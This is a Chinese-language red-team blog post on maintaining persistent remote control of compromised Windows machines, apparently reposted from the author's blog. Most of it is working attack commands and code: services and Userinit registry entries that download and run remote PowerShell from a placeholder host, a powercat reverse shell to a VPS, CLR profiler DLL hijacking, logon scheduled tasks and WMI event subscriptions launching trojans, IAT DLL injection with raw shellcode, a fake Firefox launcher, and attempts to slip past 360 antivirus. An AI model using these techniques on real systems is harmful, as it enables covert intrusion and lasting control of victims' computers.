一丶建立系统服务
获得了管理员的权限可以选择建立系统服务来进行持久控制,会被杀软拦截。
1、使用sc命令建立系统服务,可以选择执行上传的木马,或者powershell远程执行。
sc create "nuoyan" binpath= "c:accc.exe"
sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
设置为自动运行
sc config "服务名" start= auto
删除服务。
sc delete "服务名
![Windows远控之权限维持 Windows远控之权限维持]()
![Windows远控之权限维持 Windows远控之权限维持]()
2、使用powershell建立系统服务,Name指定服务名,BinaryPathName指定文件路径。
powershell.exe new-service –Name nuoyani –BinaryPathName "C:WINDOWSTemp360.exe" –StartupType Automatic
![Windows远控之权限维持 Windows远控之权限维持]()
$c2='new-';$c3='service –Name nuoyani –DisplayName OrderServ –BinaryPathName "C:accc.exe" –StartupType Automatic'; $Text=$c2+$c3;IEX(-join $Text)
多次尝试绕过杀软添加服务失败,360会先检测new-service关键字拦截powershell,使用拆分法绕过,360又对注册表行为进行了检测,无法绕过。
二丶注册表运行键
2.1、userinit注册表后门
在用户进行登陆时,可以更改它的值来添加与删除程序。从而达到增加隐蔽后门的目的。
使用powershell命令对键值进行修改。
powershell.exe Set-ItemProperty "HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon" -name Userinit -value "C:Windowssystem32userinit.exe,powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
使用cs实际执行时发现几个坑点:
1、直接执行powershell命提示找不到实际参数。
![Windows远控之权限维持 Windows远控之权限维持]()
![Windows远控之权限维持 Windows远控之权限维持]()
解决方法:把powershell命令保存到ps1文件中,使用命令后直接执行ps1文件。
![Windows远控之权限维持 Windows远控之权限维持]()
2、cs执行失败(原因未知)
首先需要修改本机powershell的执行策略为可执行,使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制)
当使用cs执行ps1文件,注册表键值未发生改变。经过多次尝试都没能执行成功。
![Windows远控之权限维持 Windows远控之权限维持]()
![Windows远控之权限维持 Windows远控之权限维持]()
本地执行ps1文件,可以正常执行成功。
![Windows远控之权限维持 Windows远控之权限维持]()
![Windows远控之权限维持 Windows远控之权限维持]()
尝试反弹shell到vps上,可以成功运行ps1脚本。
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/ps/powercat.ps1');powercat -c x.x.x.x -p xx -e cmd
开启360进行测试,无法绕过360增加userinit注册表后门。
![Windows远控之权限维持 Windows远控之权限维持]()
2.2 、CLR后门
全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。可以在没有管理员权限情况下,够劫持所有.Net程序,系统默认调用.net程序,导致后门自动触发。
1、首先准备dll后门文件,区分32和64位。
可以使用cs自带的dll后门文件,但是不免杀,可以根据自己的需求自己写dll。
![Windows远控之权限维持 Windows远控之权限维持]()
2、修改当前用户的环境变量。
可以使用wmi进行修改
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}"
或者使用powershell修改
New-ItemProperty "HKCU:Environment" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null
New-ItemProperty "HKCU:Environment" COR_PROFILER -value "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" -propertyType string | Out-Null
3、执行reg add修改注册表键值。
32位系统
REG ADD "HKCUSoftwareClassesCLSID{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}InprocServer32" /ve /t REG_EXPAND_SZ /d "C:tidetide32.dll" /f
REG ADD "HKCUEnvironment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCUEnvironment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
dll分为32和64,
64位系统需要同时修改32和64的注册表键值。
REG ADD "HKCUSoftwareClassesCLSID{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}InprocServer32" /ve /t REG_EXPAND_SZ /d "C:tidetide64.dll" /f
REG ADD "HKCUEnvironment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCUEnvironment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCUSoftwareClassesWoW6432NodeCLSID{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}InprocServer32" /ve /t REG_EXPAND_SZ /d "C:tidetidd32.dll" /f
REG ADD "HKCUEnvironment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCUEnvironment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
![Windows远控之权限维持 Windows远控之权限维持]()
![Windows远控之权限维持 Windows远控之权限维持]()
![Windows远控之权限维持 Windows远控之权限维持]()
4、设置成功,cs中执行powershell.exe ,成功接收到会话,调用其它.net程序时都可以接收到会话。
![Windows远控之权限维持 Windows远控之权限维持]()
![Windows远控之权限维持 Windows远控之权限维持]()
无法绕过360。
使用WMI修改环境变量会被拦截;dll文件不免杀会被拦截;修改注册表行为会被拦截。
![Windows远控之权限维持 Windows远控之权限维持]()
还有持久性后门都是对注册表进行操作,都无法绕过杀软。
三、计划任务
管理员权限下,使用schtasks.exe创建一个计划任务,/TN为任务名,/TR为木马路径,设置当任何用户登录时触发计划任务,执行木马。
上传免杀的exe木马,执行命令。
schtasks.exe /Create /TN 主动防御 /TR c:windowstemptide_ms.exe /SC ONLOGON /F /RL HIGHEST
![Windows远控之权限维持 Windows远控之权限维持]()
360能够拦截相关行为。
![Windows远控之权限维持 Windows远控之权限维持]()
![Windows远控之权限维持 Windows远控之权限维持]()
四、dll后门
恶意dll注入到正常程序的导入表中,每当运行程序都会加载恶意dll,从而达到持久控制的目的。
团队逆向大佬雨夜RainyNight已经发表过相关的技术文章。
直接使用自动化dll注入工具,输入shellcode自动生成dll文件。
![Windows远控之权限维持 Windows远控之权限维持]()
使用cs自动生成的shellcode,可以提取免杀exe的shellcode。
![Windows远控之权限维持 Windows远控之权限维持]()
生成dll文件。
![Windows远控之权限维持 Windows远控之权限维持]()
把生成的dll文件和conf.inf放入到KK.exe的同级目录下。
![Windows远控之权限维持 Windows远控之权限维持]()
选择生成的dll和kk.exe
![Windows远控之权限维持 Windows远控之权限维持]()
运行kk.exe ,cs成功上线。
重启电脑后,启动kk.exe可以上线。
![Windows远控之权限维持 Windows远控之权限维持]()
实际情况可能无法登录对方的远程桌面,且使用的dll注入工具会报毒。
可以查看对方安装的软件,下载相同版本,在本地进行进行dll注入,然后把生成的exe文件,dll文件,conf.inf文件一起上传到目标机器的指定目录下,替换原有exe文件。
![Windows远控之权限维持 Windows远控之权限维持]()
当目标机器执行被替换后的exe时,恶意dll被执行,达到持久性控制的目的。
![Windows远控之权限维持 Windows远控之权限维持]()
360可以查杀到dll(iat).exe工具生成dll的特征值,使用弹计算器的shellcode仍然会被查杀。
xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xebx8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53xffxd5x63x61x6cx63x2ex65x78x65x00
![Windows远控之权限维持 Windows远控之权限维持]()
自动化工具无法绕过杀软,可以根据这个思路,手动修改程序的iat导入表,从而达到免杀持久控制的目的。https://www.freebuf.com/articles/system/228233.html
工具下载网盘:链接:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ
提取码:c29j
五、WMI后门
wmi触发器
wmi事件的基础:
1、事件筛选器
事件筛选器描述事件并且执行WQL事件查询。
2、事件消费者
事件消费者是什么呢?事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。我们常用的消费类有下面两个:
ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload
CommandLineEventConsumer - 执行一个命令行程序
3、消费者绑定筛选器
消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。
####实例代码
事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器,且60秒触发一次,在事件被触发时事件消费者会使用CommandLineEventConsumer执行已指定好的tide.exe。
$fname = "cccc"
$cname = "cccc"
$CommandLineTemplate = "C:Windowstemptide.exe"
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -Namespace "rootsubscription" -Arguments @{Name=$fname;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$query}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "rootsubscription" -Arguments @{Name=$cname;CommandLineTemplate=$CommandLineTemplate }
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} | out-null
当计算机重启后一段事件cs成功接收到2个会话信息。
可以根据实际需要选择合适的事件筛选器。
系统每过60秒触发一次事件消费者。
SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
当运行计算器后触发,且每5秒触发一次事件消费者。
SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='calc.exe'
使用Autoruns查看和删除WMI数据库的内容。
![Windows远控之权限维持 Windows远控之权限维持]()
360可以拦截到WMI相关行为。
![Windows远控之权限维持 Windows远控之权限维持]()
5、 伪装常用应用程序
替换目标常用快捷方式指向的exe文件。
查看桌面快捷方式火狐的目标位置,修改firefox.exe为firefox1.exe
编写代码成exe,分别运行火狐浏览器firefox1.exe,和木马文件tide.exe。
也可以执行其它系统命令,如powershell,有杀软的情况下需要对文件和powershell进行免杀处理。
![Windows远控之权限维持 Windows远控之权限维持]()
#include<stdio.h>
#include<stdlib.h>
int main(){
system(""C:\Program Files (x86)\Mozilla Firefox\firefox1.exe"");
system("C:\Windows\Temp\tide.exe");
return 0;
}
使用Restorator修改exe文件图标。
![Windows远控之权限维持 Windows远控之权限维持]()
当用户点击桌面的快捷方式时,执行替换后的可执行文件,同时执行原文件和木马程序。
![Windows远控之权限维持 Windows远控之权限维持]()
6、总结
本次只写出了一部分建立持久性后门的方法,还有许多方法没有进行演示,大部门方法都是对注册表进行更改,无法绕过杀软。
#参考文章
http://xnianq.cn/2018/07/23/windows%E5%90%8E%E9%97%A8%E7%A7%8D%E6%A4%8D%E6%96%B9%E5%BC%8F%E6%94%B6%E9%9B%86/
https://www.freebuf.com/sectool/157952.html
https://www.cnblogs.com/-qing-/p/10964486.html
https://yq.aliyun.com/articles/215002
https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/
https://www.freebuf.com/column/165235.html
https://www.bookstack.cn/read/Powershell-Attack-Guide/ch7.md
https://3gstudent.github.io/
https://www.freebuf.com/articles/system/228233.html
https://www.yuque.com/tidesec/redteam/sgfxkl
作者:Azjj98,转载于Azjj98博客。
本文始发于微信公众号(乌雲安全):Windows远控之权限维持
评论